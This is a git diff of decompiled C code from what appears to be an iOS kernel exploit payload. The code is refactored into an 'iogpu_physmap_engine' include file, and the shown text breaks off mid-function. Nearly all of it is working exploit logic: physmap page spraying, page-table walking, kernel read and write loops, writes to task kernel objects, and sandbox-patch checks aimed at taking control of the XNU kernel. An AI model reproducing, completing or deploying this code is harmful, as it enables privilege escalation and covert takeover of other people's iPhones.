-  kern_return_t v9; // w23
-  int v10; // w24
-  int v11; // w0
-  unsigned __int64 v12; // x0
-  unsigned __int64 v13; // x23
-  io_object_t v14; // w22
-  mach_vm_address_t v15; // x23
-  __int64 v16; // x2
-  kern_return_t v17; // w24
-  io_iterator_t iterator[2]; // [xsp+8h] [xbp-68h] BYREF
-  CFMutableDictionaryRef properties; // [xsp+10h] [xbp-60h] BYREF
-  __int64 v20; // [xsp+18h] [xbp-58h] BYREF
-  __int64 v21; // [xsp+20h] [xbp-50h] BYREF
-  io_connect_t connect; // [xsp+2Ch] [xbp-44h] BYREF
-
-  v2 = *(uint64_t *)a1;
-  krwCtx = KRWCTX_FROM_UINTPTR(v2);
-  v3 = *(uint32_t *)(a1 + 8);
-  v4 = *(CFMutableDictionaryRef **)(a1 + 16);
-  connect = 0;
-  v20 = 0;
-  v21 = 0;
-  properties = 0;
-  result = necp_set_opt_string_6(krwCtx, v3);
-  if ( !(uint32_t)result )
-    goto LABEL_14;
-  result = validate_kaddr_range(v2, *(uint64_t *)(v2 + 912));
-  if ( !result )
-    goto LABEL_14;
-  if ( *(int *)(v2 + 320) < 7195 )
-  {
-    result = (__int64)ioservice_get_matching("AppleM2ScalerCSCDriver");
-    v6 = result;
-  }
-  else
-  {
-    v6 = (unsigned int)ioservice_get_matching("AppleKeyStore");
-    result = krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_MOBILEBACKUP_SANDBOX_PATCHED);
-    if ( !(uint32_t)result )
-    {
-      v7 = *(uint64_t *)(v2 + 936);
-      goto LABEL_8;
-    }
-  }
-  v7 = 0;
-LABEL_8:
-  if ( v6 + 1 < 2 )
-  {
-LABEL_14:
-    v10 = 0;
-    goto LABEL_15;
-  }
-  if ( v7 )
-  {
-    if ( !necp_set_opt_string_7(krwCtx, *(uint32_t *)(v2 + 892), 0) )
-    {
-LABEL_19:
-      v10 = 0;
-      goto LABEL_20;
-    }
-    v9 = IOServiceOpen(v6, mach_task_self_, 0, &connect);
-    v10 = 0;
-    if ( !necp_set_opt_string_7(krwCtx, *(uint32_t *)(v2 + 892), v7) || v9 )
-      goto LABEL_20;
-LABEL_17:
-    iterator[0] = 0;
-    v12 = get_task_kobject_addr(krwCtx, connect);
-    if ( !v12 )
-      goto LABEL_19;
-    v13 = v12;
-    if ( IORegistryEntryGetChildIterator(v6, "IOService", iterator) )
-      goto LABEL_19;
-    while ( 1 )
-    {
-      v14 = IOIteratorNext(iterator[0]);
-      if ( !v14 )
-        break;
-      if ( v13 == get_task_kobject_addr(krwCtx, v14) )
-        goto LABEL_27;
-      IOObjectRelease(v14);
-    }
-    v13 = 0;
-LABEL_27:
-    IOObjectRelease(iterator[0]);
-    v10 = 0;
-    if ( !v14 || !v13 )
-    {
-LABEL_43:
-      if ( v14 + 1 >= 2 )
-        IOObjectRelease(v14);
-      goto LABEL_20;
-    }
-    v15 = v13 + 32;
-    if ( kread_physmap_decorated(krwCtx, v15, (unsigned __int64 *)&v21) )
-    {
-      v16 = *(uint64_t *)(v2 + 912);
-      if ( *(uint64_t *)(v2 + 344) < XNU_VERSION_PACKED(8019, 0, 0, 0, 0) )
-      {
-        v20 = *(uint64_t *)(v2 + 912);
-LABEL_35:
-        if ( kwrite64(v2, v15, v16) )
-        {
-          v17 = IORegistryEntryCreateCFProperties(v14, &properties, kCFAllocatorDefault, 0);
-          if ( !kwrite64(v2, v15, v21) || v17 )
-          {
-            if ( properties )
-              CFRelease(properties);
-          }
-          else if ( properties )
-          {
-            *v4 = properties;
-            v10 = 1;
-            goto LABEL_43;
-          }
-        }
-        goto LABEL_42;
-      }
-      if ( kread_physmap_decorated(krwCtx, v16 + 136, (unsigned __int64 *)&v20) && validate_kaddr_range(v2, v20) )
-      {
-        v16 = v20;
-        goto LABEL_35;
-      }
-    }
-LABEL_42:
-    v10 = 0;
-    goto LABEL_43;
-  }
-  v10 = 0;
-  if ( !IOServiceOpen(v6, mach_task_self_, 0, &connect) )
-    goto LABEL_17;
-LABEL_20:
-  if ( connect + 1 >= 2 )
-  {
-    *(uint64_t *)iterator = 1;
-    IOServiceClose(connect);
-    IOServiceWaitQuiet(v6, (mach_timespec_t *)iterator);
-  }
-  result = IOObjectRelease(v6);
-LABEL_15:
-  *(uint32_t *)(a1 + 24) = v10;
-  return result;
-}
-// 15664: variable 'v8' is possibly undefined
-// 1569C: variable 'v11' is possibly undefined
-
-//----- (0000000000015880) ----------------------------------------------------
-__int64 __fastcall get_kernel_task_iokit(__int64 a1)
-{
-  __int64 v2; // x21
-  struct_krwCtx *krwCtx; // x21
-  task_inspect_t v3; // w25
-  const void *v4; // x20
-  host_t v5; // w0
-  kern_return_t v6; // w0
-  int v7; // w23
-  unsigned int v8; // w22
-  vm_address_t v9; // x1
-  unsigned __int64 v10; // x20
-  mach_port_t v11; // w8
-  thread_act_t v12; // w0
-  kern_return_t v13; // w0
-  unsigned int v14; // w8
-  const struct __CFData *v16; // x0
-  const struct __CFData *v17; // x20
-  const UInt8 *BytePtr; // x22
-  unsigned int Length; // w0
-  unsigned int v20; // w24
-  bool v21; // zf
-  unsigned __int64 v22; // x0
-  int v23; // w26
-  int v24; // w8
-  thread_act_t v27; // w0
-  mach_port_t v28; // w0
-  kern_return_t v29; // w0
-  unsigned __int64 v30; // x23
-  mach_port_t v31; // w8
-  thread_act_t v32; // w0
-  int v33; // w0
-  int v34; // w0
-  unsigned __int64 v35; // x0
-  __int64 v36; // x8
-  int v37; // w0
-  unsigned __int64 v38; // [xsp+0h] [xbp-70h] BYREF
-  task_suspension_token_t suspend_token[2]; // [xsp+8h] [xbp-68h] BYREF
-  vm_address_t address; // [xsp+10h] [xbp-60h] BYREF
-  io_master_t io_master[2]; // [xsp+18h] [xbp-58h] BYREF
-
-  v2 = **(uint64_t **)a1;
-  krwCtx = KRWCTX_FROM_UINTPTR(v2);
-  v3 = *(uint32_t *)(*(uint64_t *)a1 + 8LL);
-  v4 = *(const void **)(*(uint64_t *)a1 + 16LL);
-  address = 0;
-  *(uint64_t *)io_master = 0;
-  *(uint64_t *)suspend_token = 0;
-  v5 = mach_host_self();
-  v6 = host_get_io_master(v5, &io_master[1]);
-  if ( !v6 )
-  {
-    v6 = mach_port_allocate(mach_task_self_, 1u, io_master);
-    if ( !v6 )
-    {
-      v7 = 708617;
-      v16 = IOCFSerialize(v4, 1u);
-      if ( !v16 )
-        goto LABEL_4;
-      v17 = v16;
-      BytePtr = CFDataGetBytePtr(v16);
-      Length = CFDataGetLength(v17);
-      v20 = Length;
-      if ( BytePtr )
-        v21 = Length == 0;
-      else
-        v21 = 1;
-      if ( v21 )
-        goto LABEL_56;
-      if ( !*(uint64_t *)(v2 + 6568) )
-      {
-        v22 = kernel_cstring_pattern_scan(v2, "iokit.OSDictionary");
-        if ( !v22 )
-        {
-          v7 = 708625;
-          goto LABEL_56;
-        }
-        *(uint64_t *)(v2 + 6568) = v22;
-      }
-      v23 = 163855;
-      v24 = *(uint32_t *)(v2 + 320);
-      if ( (unsigned int)(v24 - 8019) >= 2 && v24 != 7195 && v24 != 6153 )
-      {
-        v7 = 163857;
-        goto LABEL_56;
-      }
-      v27 = mach_thread_self();
-      if ( !set_thread_abs_realtime_50(v27) )
-      {
-        v7 = 163896;
-        goto LABEL_56;
-      }
-      v28 = mach_thread_self();
-      v7 = kwrite_task_kobj_field_via_physmap(krwCtx, v28, 1, 1, 96);
-      if ( v7 )
-      {
-LABEL_56:
-        v8 = 0;
-LABEL_57:
-        CFRelease(v17);
-        goto LABEL_5;
-      }
-      thread_switch(0, 2, 0xAu);
-      if ( mach_task_self_ == v3 )
-      {
-        v29 = task_threads(v3, (thread_act_array_t *)&address, &suspend_token[1]);
-        if ( !v29 )
-        {
-          if ( suspend_token[1] )
-          {
-            v30 = 0;
-            do
-            {
-              if ( (unsigned int)(*(uint32_t *)(address + 4 * v30) + 1) >= 2 )
-              {
-                v31 = mach_thread_self();
-                v32 = *(uint32_t *)(address + 4 * v30);
-                if ( v31 != v32 )
-                  thread_suspend(v32);
-              }
-              ++v30;
-            }
-            while ( v30 < suspend_token[1] );
-          }
-LABEL_58:
-          if ( necp_set_opt_string_7(krwCtx, *(uint32_t *)(v2 + 888), 0) )
-          {
-            v34 = scan_kernel_page_for_pattern(
-                    krwCtx,
-                    *(uint64_t *)(v2 + 6568),
-                    0x28u,
-                    *(uint64_t *)(v2 + 912),
-                    (__int64 (__fastcall *)(__int64, __int64))test_appsepmanager_presence,
-                    0);
-            if ( v34 )
-            {
-              v8 = 0;
-              v23 = v34;
-LABEL_63:
-              v7 = v23;
-              goto LABEL_57;
-            }
-            v8 = ioservice_notification_send(io_master[1], (__int64)"IOServicePublish", (__int64)BytePtr, v20, io_master[0], 0, 0);
-            if ( v8 )
-            {
-              v35 = get_task_kobject_addr(krwCtx, v8);
-              v38 = v35;
-              if ( v35 )
-              {
-                if ( kread_physmap_decorated(krwCtx, v35 + 16, &v38)
-                  && kread_physmap_decorated(krwCtx, v38 + 24, &v38) )
-                {
-                  v36 = *(uint64_t *)(v2 + 912);
-                  if ( v36 == v38 )
-                  {
-                    if ( noppl_kwrite32(v2, v36 + *(int *)(v2 + 360), 255) )
-                    {
-                      if ( necp_set_opt_string_7(krwCtx, *(uint32_t *)(v2 + 888), *(uint64_t *)(v2 + 928)) )
-                        v23 = 0;
-                      else
-                        v23 = 163856;
-                    }
-                    else
-                    {
-                      v23 = 163856;
-                    }
-                  }
-                  else
-                  {
-                    v23 = 163900;
-                  }
-                }
-              }
-              else
-              {
-                v23 = 163854;
-              }
-              goto LABEL_63;
-            }
-          }
-          else
-          {
-            v8 = 0;
-          }
-          v23 = 4097;
-          goto LABEL_63;
-        }
-      }
-      else
-      {
-        v29 = task_suspend2(v3, suspend_token);
-        if ( !v29 )
-          goto LABEL_58;
-      }
-      v7 = v29 | 0x80000000;
-      goto LABEL_56;
-    }
-  }
-  v7 = v6 | 0x80000000;
-LABEL_4:
-  v8 = 0;
-LABEL_5:
-  if ( suspend_token[1] )
-  {
-    v9 = address;
-    if ( address )
-    {
-      v10 = 0;
-      do
-      {
-        if ( (unsigned int)(*(uint32_t *)(v9 + 4 * v10) + 1) >= 2 )
-        {
-          v11 = mach_thread_self();
-          v12 = *(uint32_t *)(address + 4 * v10);
-          if ( v11 != v12 )
-            thread_resume(v12);
-        }
-        ++v10;
-        v9 = address;
-      }
-      while ( v10 < suspend_token[1] );
-      vm_deallocate(mach_task_self_, address, 4LL * suspend_token[1]);
-    }
-  }
-  if ( suspend_token[0] + 1 >= 2 )
-  {
-    v13 = task_resume2(suspend_token[0]);
-    v14 = v13 | 0x80000000;
-    if ( v7 )
-      v14 = v7;
-    if ( v13 )
-      v7 = v14;
-  }
-  if ( io_master[1] + 1 >= 2 )
-    mach_port_deallocate(mach_task_self_, io_master[1]);
-  if ( v8 + 1 >= 2 )
-    mach_port_deallocate(mach_task_self_, v8);
-  if ( io_master[0] + 1 >= 2 )
-    mach_port_mod_refs(mach_task_self_, io_master[0], 1u, -1);
-  *(uint32_t *)(a1 + 8) = v7;
-  return 0;
-}
-// 15B94: variable 'v33' is possibly undefined
-// 15C84: variable 'v37' is possibly undefined
+#include "entry1_type0x09_iogpu_physmap_engine.inc"
 
 //----- (0000000000015CA4) ----------------------------------------------------
 __int64 test_appsepmanager_presence()
diff --git a/src/payload_377bed/entry1_type0x09_iogpu_physmap_engine.inc b/src/payload_377bed/entry1_type0x09_iogpu_physmap_engine.inc
new file mode 100644
index 0000000..9ebe89e
--- /dev/null
+++ b/src/payload_377bed/entry1_type0x09_iogpu_physmap_engine.inc
@@ -0,0 +1,10997 @@
+//----- (00000000000068F4) ----------------------------------------------------
+void __fastcall deallocate_physmap_pages(__int64 a1)
+{
+  __int64 i; // x21
+  __int64 v3; // x22
+  vm_address_t v4; // x1
+  unsigned __int64 v5; // x21
+  __int64 v6; // x22
+  __int64 v7; // x23
+
+  for ( i = 0; i != 1024000; i += 16 )
+  {
+    v3 = *(uint64_t *)(a1 + 8);
+    v4 = *(uint64_t *)(v3 + i);
+    if ( v4 )
+    {
+      vm_deallocate(mach_task_self_, v4, 0x4000u);
+      *(uint64_t *)(v3 + i) = 0;
+    }
+  }
+  v5 = *(uint64_t *)(a1 + 24);
+  if ( v5 < *(uint64_t *)(a1 + 32) )
+  {
+    v6 = 16 * v5;
+    do
+    {
+      v7 = *(uint64_t *)(a1 + 16);
+      vm_deallocate(mach_task_self_, *(uint64_t *)(v7 + v6), 0x4000u);
+      *(uint64_t *)(v7 + v6) = 0;
+      ++v5;
+      v6 += 16;
+    }
+    while ( v5 < *(uint64_t *)(a1 + 32) );
+  }
+  free(*(void **)(a1 + 8));
+  free(*(void **)(a1 + 16));
+  free((void *)a1);
+}
+// 69A8: variable 'vars8' is possibly undefined
+
+//----- (00000000000069B8) ----------------------------------------------------
+__int64 __fastcall acquire_physmap_page(__int64 a1)
+{
+  mem_entry_name_port_t v1; // w19
+  __int64 v2; // x8
+  unsigned __int8 *v3; // x21
+  unsigned __int8 v4; // w8
+  vm_address_t address; // [xsp+18h] [xbp-38h] BYREF
+
+  v1 = *(uint32_t *)a1;
+  v2 = *(uint64_t *)(a1 + 8);
+  atomic_fetch_add((atomic_uint *volatile)(v2 + 24), 1u);
+  v3 = (unsigned __int8 *)(v2 + 28);
+  LOBYTE(v2) = atomic_load((unsigned __int8 *)(v2 + 28));
+  if ( (v2 & 1) == 0 )
+  {
+    do
+    {
+      address = 0;
+      vm_map(mach_task_self_, &address, 0x4000u, 0, 0, v1, 0, 1, 1, 1, 1u);
+      v4 = atomic_load(v3);
+    }
+    while ( (v4 & 1) == 0 );
+  }
+  return 0;
+}
+
+//----- (0000000000006A54) ----------------------------------------------------
+__int64 __fastcall start_physmap_worker_thread(__int64 a1, mem_entry_name_port_t *a2)
+{
+  __int64 v4; // x23
+  pthread_t *v5; // x21
+  __int128 *v6; // x22
+  void *(__cdecl *v7)(void *); // x0
+  unsigned int v8; // w8
+  __int64 v9; // x20
+  mach_port_t object_handle; // [xsp+4h] [xbp-ACh] BYREF
+  memory_object_size_t size; // [xsp+8h] [xbp-A8h] BYREF
+  __int128 v13[4]; // [xsp+10h] [xbp-A0h] BYREF
+  __int128 v14[2]; // [xsp+50h] [xbp-60h] BYREF
+
+  v4 = 0;
+  atomic_store(0, (unsigned int *)(a1 + 24));
+  atomic_store(0, (unsigned __int8 *)(a1 + 28));
+  memset(v14, 0, sizeof(v14));
+  memset(v13, 0, sizeof(v13));
+  v5 = (pthread_t *)v14;
+  v6 = v13;
+  do
+  {
+    *(uint32_t *)v6 = a2[v4];
+    *((uint64_t *)v6 + 1) = a1;
+    v7 = (void *(__cdecl *)(void *))nullsub_1(acquire_physmap_page);
+    if ( pthread_create(v5, 0, v7, v6) )
+      __error();
+    ++v4;
+    ++v5;
+    ++v6;
+  }
+  while ( v4 != 4 );
+  while ( 1 )
+  {
+    v8 = atomic_load((unsigned int *)(a1 + 24));
+    if ( v8 == 4 )
+      break;
+    usleep(0x3E8u);
+  }
+  size = 0x4000;
+  object_handle = 0;
+  mach_make_memory_entry_64(mach_task_self_, &size, 0, 1, &object_handle, *a2);
+  v9 = 0;
+  atomic_store(1u, (unsigned __int8 *)(a1 + 28));
+  do
+  {
+    if ( pthread_join(*(pthread_t *)((char *)v14 + v9), 0) )
+      __error();
+    v9 += 8;
+  }
+  while ( v9 != 32 );
+  return object_handle;
+}
+// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);
+
+//----- (0000000000006BBC) ----------------------------------------------------
+__int64 __fastcall request_physmap_page(uint64_t *a1, __int64 a2)
+{
+  vm_address_t *v4; // x21
+  __int64 v5; // x24
+  unsigned __int64 v6; // x0
+  __int64 v7; // x1
+  __int64 v8; // x22
+  __int64 v9; // x25
+  mach_port_name_t v10; // w20
+  unsigned __int64 v11; // x0
+  __int64 v12; // x19
+  unsigned __int64 v14; // x24
+  memory_object_size_t v15; // x9
+  unsigned __int64 v16; // x8
+  mach_port_name_t v17; // w1
+  memory_object_size_t size; // [xsp+10h] [xbp-60h] BYREF
+  mem_entry_name_port_t object[4]; // [xsp+18h] [xbp-50h] BYREF
+
+  v4 = (vm_address_t *)get_vm_region_slot(a1);
+  thread_switch(0, 2, 0);
+  vm_deallocate(mach_task_self_, *v4, 0x4000u);
+  v5 = 0;
+  *v4 = 0;
+  *(uint64_t *)object = 0;
+  *(uint64_t *)&object[2] = 0;
+  do
+  {
+    size = 0x4000;
+    mach_make_memory_entry_64(mach_task_self_, &size, a1[2], 1, &object[v5++], 0);
+  }
+  while ( v5 != 4 );
+  size = 0;
+  vm_map(mach_task_self_, &size, 0x4000u, 0, 1, object[0], 0, 0, 1, 1, 1u);
+  vm_region_nesting_result nesting = query_vm_region_nesting(size);
+  v6 = nesting.packed_info;
+  if ( nesting.object_id != v4[1] )
+    goto LABEL_6;
+  v8 = nesting.object_id;
+  v9 = (unsigned int)(HIDWORD(v6) + 1);
+  v10 = start_physmap_worker_thread((__int64)a1, object);
+  v11 = query_vm_region_nesting(size).packed_info;
+  if ( v9 == HIDWORD(v11) )
+  {
+    mach_port_deallocate(mach_task_self_, v10);
+LABEL_6:
+    vm_deallocate(mach_task_self_, size, 0x4000u);
+    v12 = 0;
+    size = 0;
+    do
+    {
+      mach_port_deallocate(mach_task_self_, object[v12]);
+      object[v12++] = 0;
+    }
+    while ( v12 != 4 );
+    return 0;
+  }
+  v14 = 0;
+  v15 = size;
+  *(uint64_t *)a2 = v8;
+  *(uint64_t *)(a2 + 8) = v15;
+  *(uint32_t *)(a2 + 16) = v10;
+  v16 = v9 + ~HIDWORD(v11);
+  *(uint64_t *)(a2 + 32) = v16;
+  while ( 1 )
+  {
+    v17 = object[v14];
+    if ( v14 >= v16 )
+    {
+      mach_port_deallocate(mach_task_self_, v17);
+      object[v14] = 0;
+    }
+    else
+    {
+      *(uint32_t *)(a2 + 20 + 4 * v14) = v17;
+    }
+    if ( v14 == 3 )
+      break;
+    v16 = *(uint64_t *)(a2 + 32);
+    ++v14;
+  }
+  return 1;
+}
+// 6CAC: variable 'v7' is possibly undefined
+
+//----- (0000000000006DC0) ----------------------------------------------------
+__int64 __fastcall physmap_read_dword(uint64_t *a1, unsigned __int64 a2, uint32_t *a3)
+{
+  __int64 v5; // x21
+  unsigned __int64 v6; // x8
+  vm_address_t v7; // x1
+  __int64 result; // x0
+
+  v5 = a2 & 0x3FFF;
+  v6 = a2 >> 14;
+  v7 = a1[169];
+  *(uint32_t *)(v7 + 560) = v6;
+  vm_copy(mach_task_self_, v7, 0xC000u, a1[170]);
+  result = vm_remap_inplace(a1[172], 0x4000u, 0);
+  *a3 = *(uint32_t *)(a1[172] + v5);
+  return result;
+}
+
+//----- (0000000000006E30) ----------------------------------------------------
+void *__fastcall physmap_read_aligned(uint64_t *a1, unsigned __int64 a2, void *a3, size_t a4)
+{
+  __int64 v7; // x22
+  unsigned __int64 v8; // x8
+  vm_address_t v9; // x1
+
+  v7 = a2 & 0x3FFF;
+  v8 = a2 >> 14;
+  v9 = a1[169];
+  *(uint32_t *)(v9 + 560) = v8;
+  vm_copy(mach_task_self_, v9, 0xC000u, a1[170]);
+  vm_copy(mach_task_self_, a1[172], 0xC000u, a1[173]);
+  return memcpy(a3, (const void *)(a1[173] + v7), a4);
+}
+
+//----- (0000000000006EB8) ----------------------------------------------------
+__int64 __fastcall physmap_write_aligned(uint64_t *a1, const void *a2, unsigned __int64 a3, size_t a4)
+{
+  __int64 v7; // x24
+  vm_address_t v8; // x1
+  void *v9; // x23
+  vm_address_t v10; // x21
+  vm_map_t v11; // w0
+
+  v7 = a3 & 0x3FFF;
+  v8 = a1[169];
+  *(uint32_t *)(v8 + 560) = a3 >> 14;
+  vm_copy(mach_task_self_, v8, 0xC000u, a1[170]);
+  v9 = (void *)(a1[175] - a4 + 0x4000);
+  v10 = a1[176] + v7;
+  memcpy(v9, a2, a4);
+  v11 = mach_task_self_;
+  return vm_copy(v11, (vm_address_t)v9, a4 + 0x8000, v10);
+}
+// 6F58: variable 'vars8' is possibly undefined
+
+//----- (0000000000006F68) ----------------------------------------------------
+unsigned __int64 __fastcall build_physmap_page_table(uint64_t *a1, unsigned __int64 a2)
+{
+  unsigned __int64 v2; // x19
+  uint64_t *v3; // x20
+  unsigned __int64 v4; // x21
+  __int64 v5; // x23
+  __int64 v6; // x8
+  unsigned __int64 v7; // x26
+  __int64 v8; // x8
+  uint64_t v10[2048]; // [xsp+8h] [xbp-4058h] BYREF
+
+  v2 = a2;
+  v3 = a1;
+  v4 = a1[164];
+  bzero(v10, 0x4000u);
+  v5 = 0;
+  while ( 1 )
+  {
+    if ( v5 || (v6 = v3[165]) == 0 )
+      v6 = *(uint64_t *)((char *)&unk_42DC8 + v5 + 80);
+    v7 = (v6 & v2) >> *(uint64_t *)((char *)&unk_42DC8 + v5 + 72);
+    physmap_read_aligned(v3, v4, v10, 0x4000u);
+    v8 = v10[(unsigned int)v7];
+    if ( (*(uint64_t *)((uint8_t *)&unk_42DC8 + v5 + 88) & ~v8) != 0 )
+      return 0;
+    if ( (*(uint64_t *)((uint8_t *)&unk_42DC8 + v5 + 96) & v8) == *(uint64_t *)((char *)&unk_42DC8 + v5 + 104) )
+      break;
+    v4 = v8 & 0xFFFFFFFFC000LL;
+    v5 += 56;
+    if ( v5 == 168 )
+      return 0;
+  }
+  return (v8 & ~*(uint64_t *)((char *)&unk_42DC8 + v5 + 64) & 0xFFFFFFFFF000LL)
+       | (*(uint64_t *)((uint8_t *)&unk_42DC8 + v5 + 64) & v2);
+}
+// 6FA0: variable 'v1' is possibly undefined
+// 48940: using guessed type __int64 __chkstk_darwin(void);
+// 48940: using guessed type __int64 __fastcall __chkstk_darwin(uint64_t, uint64_t);
+
+//----- (00000000000070A4) ----------------------------------------------------
+uint64_t *__fastcall iogpu_kread_loop(uint64_t *result, __int16 a2, char *a3, unsigned __int64 a4)
+{
+  unsigned __int64 v4; // x19
+  uint64_t *v7; // x22
+  size_t v8; // x23
+  unsigned __int64 v9; // x0
+
+  if ( a4 )
+  {
+    v4 = a4;
+    v7 = result;
+    do
+    {
+      if ( v4 >= 0x4000 - (unsigned __int64)(a2 & 0x3FFF) )
+        v8 = 0x4000LL - (a2 & 0x3FFF);
+      else
+        v8 = v4;
+      v9 = build_physmap_page_table(v7, a2);
+      result = physmap_read_aligned(v7, v9, a3, v8);
+      a2 += v8;
+      a3 += v8;
+      v4 -= v8;
+    }
+    while ( v4 );
+  }
+  return result;
+}
+
+//----- (0000000000007128) ----------------------------------------------------
+uint64_t *__fastcall iogpu_kwrite_loop(uint64_t *result, char *a2, __int16 a3, unsigned __int64 a4)
+{
+  unsigned __int64 v4; // x19
+  uint64_t *v7; // x22
+  size_t v8; // x23
+  unsigned __int64 v9; // x0
+
+  if ( a4 )
+  {
+    v4 = a4;
+    v7 = result;
+    do
+    {
+      if ( v4 >= 0x4000 - (unsigned __int64)(a3 & 0x3FFF) )
+        v8 = 0x4000LL - (a3 & 0x3FFF);
+      else
+        v8 = v4;
+      v9 = build_physmap_page_table(v7, a3);
+      result = (uint64_t *)physmap_write_aligned(v7, a2, v9, v8);
+      a2 += v8;
+      a3 += v8;
+      v4 -= v8;
+    }
+    while ( v4 );
+  }
+  return result;
+}
+
+//----- (00000000000071AC) ----------------------------------------------------
+__int64 __fastcall find_mem_region(__int64 result)
+{
+  __int64 v1; // x19
+  __int128 v2[5]; // [xsp+0h] [xbp-90h] BYREF
+  vm_size_t size; // [xsp+58h] [xbp-38h] BYREF
+  vm_address_t address; // [xsp+60h] [xbp-30h] BYREF
+  mach_msg_type_number_t infoCnt; // [xsp+68h] [xbp-28h] BYREF
+  natural_t nesting_depth; // [xsp+6Ch] [xbp-24h] BYREF
+
+  address = 0;
+  if ( !*(uint64_t *)(result + 16) )
+  {
+    v1 = result;
+    while ( 1 )
+    {
+      size = 0;
+      memset(v2, 0, 76);
+      infoCnt = 19;
+      nesting_depth = 1;
+      result = vm_region_recurse_64(
+                 mach_task_self_,
+                 &address,
+                 &size,
+                 &nesting_depth,
+                 (vm_region_recurse_info_t)v2,
+                 &infoCnt);
+      if ( nesting_depth )
+      {
+        if ( !*(uint64_t *)((char *)v2 + 12) )
+          break;
+      }
+      address += size;
+      if ( *(uint64_t *)(v1 + 16) )
+        return result;
+    }
+    *(uint64_t *)(v1 + 16) = address;
+  }
+  return result;
+}
+
+//----- (000000000000725C) ----------------------------------------------------
+__int64 __fastcall alloc_krw_region_map(__int64 a1)
+{
+  __int64 result; // x0
+  vm_address_t address; // [xsp+18h] [xbp-18h] BYREF
+
+  vm_map(
+    mach_task_self_,
+    (vm_address_t *)(a1 + 32),
+    (*(uint64_t *)(a1 + 1432) << 14) + 49152LL,
+    0x1FFFFFFu,
+    1,
+    0,
+    0,
+    0,
+    3,
+    7,
+    1u);
+  address = *(uint64_t *)(a1 + 32);
+  vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000);
+  address = *(uint64_t *)(a1 + 32) + 0x4000LL;
+  vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000);
+  address = *(uint64_t *)(a1 + 32) + 0x8000LL;
+  result = vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000);
+  **(uint8_t **)(a1 + 32) = 65;
+  return result;
+}
+
+//----- (0000000000007334) ----------------------------------------------------
+__int64 __fastcall alloc_vm_page_array(__int64 a1)
+{
+  __int64 v2; // x21
+  __int64 result; // x0
+  vm_address_t address; // [xsp+8h] [xbp-28h] BYREF
+
+  v2 = 0;
+  *(uint64_t *)(a1 + 48) = malloc(0xC3500u);
+  do
+  {
+    address = 0;
+    result = vm_allocate(mach_task_self_, &address, 0x4000u, 1);
+    *(uint64_t *)(*(uint64_t *)(a1 + 48) + v2) = address;
+    v2 += 8;
+  }
+  while ( v2 != 800000 );
+  return result;
+}
+
+//----- (00000000000073B8) ----------------------------------------------------
+__int64 __fastcall allocate_two_buffers_for_something(uint64_t *a1)
+{
+  vm_size_t v2; // x2
+  __int64 result; // x0
+  unsigned __int64 v4; // x8
+  unsigned __int64 v5; // x9
+  __int64 v6; // x10
+  vm_address_t address; // [xsp+8h] [xbp-18h] BYREF
+
+  a1[137] = 0x400000;
+  address = 0;
+  vm_allocate(mach_task_self_, &address, 0x400000u, 3);
+  a1[135] = address;
+  v2 = a1[137];
+  address = 0;
+  result = vm_allocate(mach_task_self_, &address, v2, 1);
+  a1[136] = address;
+  v4 = a1[137];
+  if ( v4 )
+  {
+    v5 = 0;
+    v6 = a1[135];
+    do
+    {
+      *(uint8_t *)(v6 + v5) = 65;
+      v5 += 0x4000LL;
+    }
+    while ( v5 < v4 );
+  }
+  return result;
+}
+
+//----- (0000000000007454) ----------------------------------------------------
+__int64 __fastcall setup_krw_region_structure(uint64_t *a1)
+{
+  vm_size_t v2; // x2
+  vm_size_t v3; // x2
+  __int64 result; // x0
+  unsigned __int64 v5; // x8
+  __int128 *v6; // x9
+  unsigned __int64 v7; // x9
+  unsigned __int64 v8; // x22
+  vm_address_t v9; // x20
+  uint8_t v10[32]; // [xsp+0h] [xbp-140h] BYREF
+  __int128 v11; // [xsp+20h] [xbp-120h]
+  __int128 v12; // [xsp+30h] [xbp-110h]
+  __int128 v13; // [xsp+40h] [xbp-100h]
+  __int128 v14; // [xsp+50h] [xbp-F0h]
+  __int128 v15; // [xsp+60h] [xbp-E0h]
+  __int128 v16; // [xsp+70h] [xbp-D0h]
+  __int128 v17; // [xsp+80h] [xbp-C0h]
+  __int128 v18; // [xsp+90h] [xbp-B0h]
+  __int128 v19; // [xsp+A0h] [xbp-A0h]
+  __int128 v20; // [xsp+B0h] [xbp-90h]
+  __int128 v21; // [xsp+C0h] [xbp-80h]
+  __int128 v22; // [xsp+D0h] [xbp-70h]
+  __int128 v23; // [xsp+E0h] [xbp-60h]
+  __int128 v24; // [xsp+F0h] [xbp-50h]
+  vm_address_t address; // [xsp+108h] [xbp-38h] BYREF
+
+  v2 = 163840LL * a1[179];
+  a1[140] = v2;
+  *(uint64_t *)v10 = 0;
+  vm_allocate(mach_task_self_, (vm_address_t *)v10, v2, 1);
+  a1[138] = *(uint64_t *)v10;
+  v3 = a1[140] + 0x8000LL;
+  *(uint64_t *)v10 = 0;
+  result = vm_allocate(mach_task_self_, (vm_address_t *)v10, v3, 1);
+  a1[139] = *(uint64_t *)v10;
+  *(uint64_t *)v10 = 0;
+  *(uint64_t *)&v10[24] = 0;
+  v23 = 0u;
+  v24 = 0u;
+  v21 = 0u;
+  v22 = 0u;
+  v19 = 0u;
+  v20 = 0u;
+  v17 = 0u;
+  *(uint64_t *)&v18 = 0;
+  v15 = 0u;
+  v16 = 0u;
+  v13 = 0u;
+  v14 = 0u;
+  v11 = 0u;
+  v12 = 0u;
+  *(__int128 *)&v10[8] = *(__int128 *)byte_42D30;
+  DWORD2(v11) = 1;
+  LODWORD(v16) = 4;
+  HIDWORD(v16) = 16893952;
+  *((uint64_t *)&v18 + 1) = -1;
+  HIDWORD(v19) = 786560;
+  if ( a1[140] )
+  {
+    v5 = 0;
+    do
+    {
+      v6 = (__int128 *)(v5 + a1[138]);
+      v6[12] = v21;
+      v6[13] = v22;
+      v6[14] = v23;
+      v6[15] = v24;
+      v6[8] = v17;
+      v6[9] = v18;
+      v6[10] = v19;
+      v6[11] = v20;
+      v6[4] = v13;
+      v6[5] = v14;
+      v6[6] = v15;
+      v6[7] = v16;
+      *v6 = *(__int128 *)v10;
+      v6[1] = *(__int128 *)&v10[16];
+      v6[2] = v11;
+      v6[3] = v12;
+      v5 += 256LL;
+      v7 = a1[140];
+    }
+    while ( v5 < v7 );
+    if ( v7 )
+    {
+      v8 = 0;
+      do
+      {
+        address = v8 + a1[139];
